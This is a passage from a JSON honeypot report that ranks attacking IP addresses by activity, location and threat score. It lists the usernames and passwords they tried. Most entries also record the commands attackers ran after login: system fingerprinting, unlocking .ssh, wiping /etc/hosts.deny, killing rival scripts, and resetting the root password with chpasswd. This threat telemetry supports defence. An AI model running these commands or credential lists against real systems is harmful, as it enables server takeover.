        "last_seen_30d": "2026-04-30T23:40:42.174000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4104,
        "Suricata": 2979,
        "H0neytr4p": 9,
        "Tanner": 9,
        "Sentrypeer": 4
      }
    },
    "213.177.179.79": {
      "attack_count": 2254,
      "first_seen": "2026-04-04T09:39:00.121Z",
      "last_seen": "2026-04-04T11:05:37.502Z",
      "sessions": 451,
      "ports": [],
      "usernames_attempted": [
        "bardengineering",
        "kelltech",
        "root"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "12345",
        "123456",
        "1234567",
        "12345678",
        "123456789",
        "password",
        "password123",
        "test123",
        "000000",
        "00000000",
        "007007",
        "0123456789",
        "101010",
        "102030",
        "1111",
        "11111",
        "111111",
        "1111111"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": null,
      "asn": 208137,
      "as_org": "Feo Prest SRL",
      "threat_score": 6.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 10,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3186,
        "days_active_30d": 1,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T09:39:00.121000+00:00",
        "last_seen_30d": "2026-04-04T11:06:45.185000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2254,
        "Suricata": 932
      }
    },
    "52.169.217.131": {
      "attack_count": 930,
      "first_seen": "2026-04-17T21:10:26.864Z",
      "last_seen": "2026-04-23T12:17:24.588Z",
      "sessions": 92,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "test",
        "userftp",
        "admin1234",
        "contest",
        "es1",
        "n8n",
        "odoo",
        "oracle",
        "sammy",
        "steam",
        "app",
        "chrome",
        "dbuser",
        "demo",
        "dev",
        "es",
        "ftpuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "!P@ssw0rd",
        "!QAZ1qaz",
        "11111",
        "123123",
        "123456",
        "123QWE",
        "35",
        "A1231239",
        "A1234567O",
        "Aa1234567890",
        "Abc123456#",
        "Abc@123...",
        "Abcd1234!@#",
        "Admin123+",
        "Admin12345#",
        "CC",
        "Cordun2026@"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123456\\ni4w4x0Ho9Trw\\ni4w4x0Ho9Trw\\n\"|passwd",
        "echo \"N8n05\\nYEi9A7NFhzzg\\nYEi9A7NFhzzg\\n\"|passwd",
        "echo \"admin1234\\ngQZKEPHwEqfE\\ngQZKEPHwEqfE\\n\"|passwd",
        "echo \"contest\\n9wxQ57DFd2DT\\n9wxQ57DFd2DT\\n\"|passwd",
        "echo \"oracle8\\nt2pK7RPxWQuj\\nt2pK7RPxWQuj\\n\"|passwd",
        "echo \"passw0rd\\n33OxmTBuQyYB\\n33OxmTBuQyYB\\n\"|passwd",
        "echo \"root:ctfA7C8X9Imc\"|chpasswd|bash",
        "echo \"root:z9k7ZJH6fZyh\"|chpasswd|bash",
        "echo -e \"123456\\ni4w4x0Ho9Trw\\ni4w4x0Ho9Trw\"|passwd|bash",
        "echo -e \"N8n05\\nYEi9A7NFhzzg\\nYEi9A7NFhzzg\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Ireland",
      "country_code": "IE",
      "city": "Dublin",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 36.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 1136,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T21:10:26.864000+00:00",
        "last_seen_30d": "2026-04-23T12:18:27.499000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 930,
        "Suricata": 206
      }
    },
    "102.210.149.105": {
      "attack_count": 835,
      "first_seen": "2026-04-03T03:17:52.431Z",
      "last_seen": "2026-04-22T16:08:08.728Z",
      "sessions": 85,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "user",
        "admin",
        "deploy",
        "devops",
        "docker",
        "proxyuser",
        "server",
        "testa",
        "7days",
        "ali",
        "azure",
        "bot",
        "dockeruser",
        "dudu",
        "ftpuser",
        "harsh",
        "liwei"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "!Password123",
        "0000",
        "102026",
        "123321",
        "123456.aa",
        "12345678",
        "123456Lh",
        "123456Lk",
        "123456wW",
        "123qwe",
        "1qaz#EDC5tgb",
        "232323",
        "7days",
        "998877",
        "Admin26",
        "Ali28!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"devops123\\n0YboAPR40Xfl\\n0YboAPR40Xfl\\n\"|passwd",
        "echo \"docker\\nJQTQHtYWI6fd\\nJQTQHtYWI6fd\\n\"|passwd",
        "echo \"proxyuser\\nAPHfuLRuda5T\\nAPHfuLRuda5T\\n\"|passwd",
        "echo \"root:GfXcXCWq0RKC\"|chpasswd|bash",
        "echo \"root:GzFIElKhqxyC\"|chpasswd|bash",
        "echo \"root:rnNNPzOgJRME\"|chpasswd|bash",
        "echo \"testatesta\\nrydOL2T3kOJC\\nrydOL2T3kOJC\\n\"|passwd",
        "echo -e \"devops123\\n0YboAPR40Xfl\\n0YboAPR40Xfl\"|passwd|bash",
        "echo -e \"docker\\nJQTQHtYWI6fd\\nJQTQHtYWI6fd\"|passwd|bash",
        "echo -e \"proxyuser\\nAPHfuLRuda5T\\nAPHfuLRuda5T\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Johannesburg",
      "asn": 328847,
      "as_org": "KoTDA",
      "threat_score": 43.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 1031,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T03:17:52.431000+00:00",
        "last_seen_30d": "2026-04-22T16:09:13.333000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 835,
        "Suricata": 196
      }
    },
    "165.154.5.249": {
      "attack_count": 667,
      "first_seen": "2026-04-01T05:51:44.299Z",
      "last_seen": "2026-04-13T11:08:40.033Z",
      "sessions": 75,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ali",
        "egarcia",
        "ftpuser",
        "server",
        "acct",
        "arkserver",
        "hadoop",
        "odoo",
        "test1",
        "ubuntu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@#QWE123qwe",
        "!QAZ4esz",
        "123$qweR",
        "1234",
        "123456",
        "123456789z",
        "123456Abc",
        "123456jkl",
        "1234@Abc",
        "1q2q3q4q5q",
        "1qaz@WSX",
        "233",
        "3141592654",
        "Aa1234567890@",
        "Admin@1234",
        "Asdf@1234",
        "Gx123456@",
        "Kingdee@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nXAv9YsLdGeFF\\nXAv9YsLdGeFF\\n\"|passwd",
        "echo \"Server20!\\nek9sFbVBFMSM\\nek9sFbVBFMSM\\n\"|passwd",
        "echo \"root:UECb1UnOaKLe\"|chpasswd|bash",
        "echo \"root:hWz85srpFqiT\"|chpasswd|bash",
        "echo \"root:y9cr9meWi2P7\"|chpasswd|bash",
        "echo -e \"123456\\nXAv9YsLdGeFF\\nXAv9YsLdGeFF\"|passwd|bash",
        "echo -e \"Server20!\\nek9sFbVBFMSM\\nek9sFbVBFMSM\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 22.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.3,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 847,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T05:51:44.299000+00:00",
        "last_seen_30d": "2026-04-13T11:09:41.321000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 667,
        "Suricata": 180
      }
    },
    "187.212.40.215": {
      "attack_count": 567,
      "first_seen": "2026-04-02T22:46:17.594Z",
      "last_seen": "2026-04-12T05:46:25.331Z",
      "sessions": 55,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "frappe",
        "ubuntu",
        "user",
        "user03",
        "n",
        "odoo",
        "test",
        "testftp1",
        "walter"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!Qaz12345",
        "123369",
        "1234",
        "123456",
        "123P@ssword",
        "123asdZXC",
        "1Qwerty",
        "1qaz3edc",
        "20240629",
        "2303",
        "28092026",
        "5150",
        "ASDFGHJKL",
        "Abc123$%^",
        "Admin1234#",
        "Asdf123!@#",
        "Enterprise",
        "Odoo2026!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nYg5pMmzlEzLQ\\nYg5pMmzlEzLQ\\n\"|passwd",
        "echo \"frappe2026!\\njjchrsXGMqRo\\njjchrsXGMqRo\\n\"|passwd",
        "echo \"root:M9hdMnslrjMb\"|chpasswd|bash",
        "echo \"root:TFBSSG93ThY6\"|chpasswd|bash",
        "echo \"root:rOWyVTM0UNo8\"|chpasswd|bash",
        "echo -e \"123456\\nYg5pMmzlEzLQ\\nYg5pMmzlEzLQ\"|passwd|bash",
        "echo -e \"frappe2026!\\njjchrsXGMqRo\\njjchrsXGMqRo\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Puebla City",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 19.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.5,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 710,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T22:46:17.594000+00:00",
        "last_seen_30d": "2026-04-12T05:47:35.010000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 567,
        "Suricata": 143
      }
    },
    "212.154.234.9": {
      "attack_count": 483,
      "first_seen": "2026-04-14T09:23:44.111Z",
      "last_seen": "2026-04-28T00:59:13.866Z",
      "sessions": 50,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "deploy",
        "odoo",
        "bot",
        "elk",
        "jin",
        "kingbase",
        "mo",
        "postgres",
        "riad",
        "steam",
        "test7",
        "tomcat",
        "ubuntu",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "1111",
        "123456",
        "12345678",
        "123QWEqaz@321",
        "1q2w3e4r5t",
        "520250520",
        "A123456s",
        "AB",
        "Bot26!",
        "Gadmsdadmin2024",
        "Ideal123Care",
        "LABlab123456",
        "Odoo06!",
        "PASSW0RD2024",
        "Pa$sw0rd!",
        "Pa55w0rD.",
        "Password.123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1q2w3e4r5t\\nlnReq9iy936T\\nlnReq9iy936T\\n\"|passwd",
        "echo \"root:6YuW0znbpvn6\"|chpasswd|bash",
        "echo \"root:oVM5Mbro3ryy\"|chpasswd|bash",
        "echo \"root:sXu9P2EDx0tt\"|chpasswd|bash",
        "echo -e \"1q2w3e4r5t\\nlnReq9iy936T\\nlnReq9iy936T\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Kazakhstan",
      "country_code": "KZ",
      "city": "Astana",
      "asn": 50482,
      "as_org": "JSC Kazakhtelecom",
      "threat_score": 48.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.8,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 598,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T09:23:44.111000+00:00",
        "last_seen_30d": "2026-04-28T01:00:21.549000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 483,
        "Suricata": 115
      }
    },
    "103.187.147.214": {
      "attack_count": 446,
      "first_seen": "2026-04-04T00:08:50.367Z",
      "last_seen": "2026-04-14T02:11:09.879Z",
      "sessions": 54,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "postgres",
        "steam",
        "user",
        "odoo",
        "adminuser",
        "bot",
        "centos",
        "deploy",
        "jenkins",
        "joao",
        "max",
        "mike",
        "n8n",
        "oracle",
        "pruebas",
        "sammy",
        "server",
        "smp"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1020254050",
        "112233",
        "12345",
        "123456",
        "123456..",
        "12345678",
        "123@qwe",
        "4444",
        "909090",
        "A123456789J",
        "AAbb12345",
        "Bot8",
        "CCzz000",
        "Frappe31!",
        "FvSsUBm82pFXR4DfKa3K",
        "N8n06",
        "Postgres1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Postgres1234\\n8PX3MDeD2dlg\\n8PX3MDeD2dlg\\n\"|passwd",
        "echo \"odoo7\\n7bChaYyR6m31\\n7bChaYyR6m31\\n\"|passwd",
        "echo \"root:Q0TnNYwF1HXE\"|chpasswd|bash",
        "echo -e \"Postgres1234\\n8PX3MDeD2dlg\\n8PX3MDeD2dlg\"|passwd|bash",
        "echo -e \"odoo7\\n7bChaYyR6m31\\n7bChaYyR6m31\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 138608,
      "as_org": "Cloud Host Pte Ltd",
      "threat_score": 22.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.6,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 571,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T00:08:50.367000+00:00",
        "last_seen_30d": "2026-04-14T02:12:11.562000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 446,
        "Suricata": 125
      }
    },
    "116.110.0.55": {
      "attack_count": 437,
      "first_seen": "2026-04-29T03:40:43.941Z",
      "last_seen": "2026-04-29T04:06:24.377Z",
      "sessions": 87,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "ftp",
        "support",
        "ubnt",
        "*****",
        "1234",
        "123456",
        "am",
        "ashish",
        "auto",
        "bin",
        "brenda",
        "cisco",
        "config",
        "cpanel",
        "developer",
        "geral",
        "guest",
        "guest1"
      ],
      "passwords_attempted": [
        "1234",
        "123456",
        "0l0ctyQh243O63uD",
        "12345",
        "P@ssw0rd",
        "admin",
        "password",
        "*****",
        "039715582364317",
        "0987654321",
        "1",
        "123",
        "12345678",
        "72b1bd75ac87852a",
        "Deadstar!",
        "abc123",
        "admin01",
        "admin1",
        "admin@123",
        "aerohive"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 41.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.9,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 622,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T03:40:43.941000+00:00",
        "last_seen_30d": "2026-04-29T04:07:32.652000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 437,
        "Suricata": 185
      }
    },
    "209.14.88.118": {
      "attack_count": 361,
      "first_seen": "2026-04-02T02:16:15.846Z",
      "last_seen": "2026-04-05T13:29:40.613Z",
      "sessions": 49,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude",
        "user1",
        "aovalle",
        "een",
        "iulian",
        "kingbase",
        "mahesh",
        "noreply",
        "sammy",
        "steam"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123!@#",
        "123QWEasd!@#",
        "123qwe123",
        "1qq2w3e4r5t",
        "56789",
        "ABCabc123456",
        "Aa123456..",
        "Abc123456.",
        "Adm1n!",
        "Admin110",
        "Fq123456",
        "MUIETIEMISU",
        "QAZ123wsx456",
        "Qq!123456",
        "Reza1",
        "Root@12"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:i0BWctIgraog\"|chpasswd|bash",
        "echo \"root:tBPnMJjATmB2\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 272786,
      "as_org": "X99 INTERNET",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.8,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 483,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T02:16:15.846000+00:00",
        "last_seen_30d": "2026-04-05T13:30:47.298000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 361,
        "Suricata": 122
      }
    },
    "36.93.249.106": {
      "attack_count": 341,
      "first_seen": "2026-04-25T11:50:19.041Z",
      "last_seen": "2026-04-25T12:31:26.969Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "dev",
        "info",
        "aa",
        "bot",
        "claude",
        "ftpuser",
        "postgres",
        "ruan",
        "sftpuser",
        "teamspeak",
        "testuser",
        "ubuntu",
        "webmaster",
        "wireguard"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123456",
        "AA123456AA",
        "Aa112211.",
        "Abcd12345678@",
        "Bot12345",
        "Claude123456",
        "Dev0",
        "QQcc112233",
        "QWERTY.",
        "Qazwsx0000@",
        "Teamspeak29!",
        "Vilas123",
        "Yr123456",
        "Zaq1Xsw2",
        "aa12345678",
        "admin0@@",
        "dev31"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nyn6BxgZuCYOy\\nyn6BxgZuCYOy\\n\"|passwd",
        "echo \"Dev0\\ngcartc9h5888\\ngcartc9h5888\\n\"|passwd",
        "echo \"root:tVLV1C7EX2Mw\"|chpasswd|bash",
        "echo -e \"123456\\nyn6BxgZuCYOy\\nyn6BxgZuCYOy\"|passwd|bash",
        "echo -e \"Dev0\\ngcartc9h5888\\ngcartc9h5888\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 7713,
      "as_org": "PT Telekomunikasi Indonesia",
      "threat_score": 32.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 414,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T11:50:19.041000+00:00",
        "last_seen_30d": "2026-04-25T12:32:30.843000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 341,
        "Suricata": 73
      }
    },
    "45.172.152.74": {
      "attack_count": 268,
      "first_seen": "2026-04-23T11:49:48.168Z",
      "last_seen": "2026-04-23T12:17:45.247Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ftpuser",
        "345gs5662d34",
        "admin1234",
        "git",
        "ubuntu",
        "ali",
        "debian",
        "deploy",
        "ftptest",
        "iqbal",
        "max",
        "mayuri",
        "teste",
        "user",
        "user1",
        "webuser"
      ],
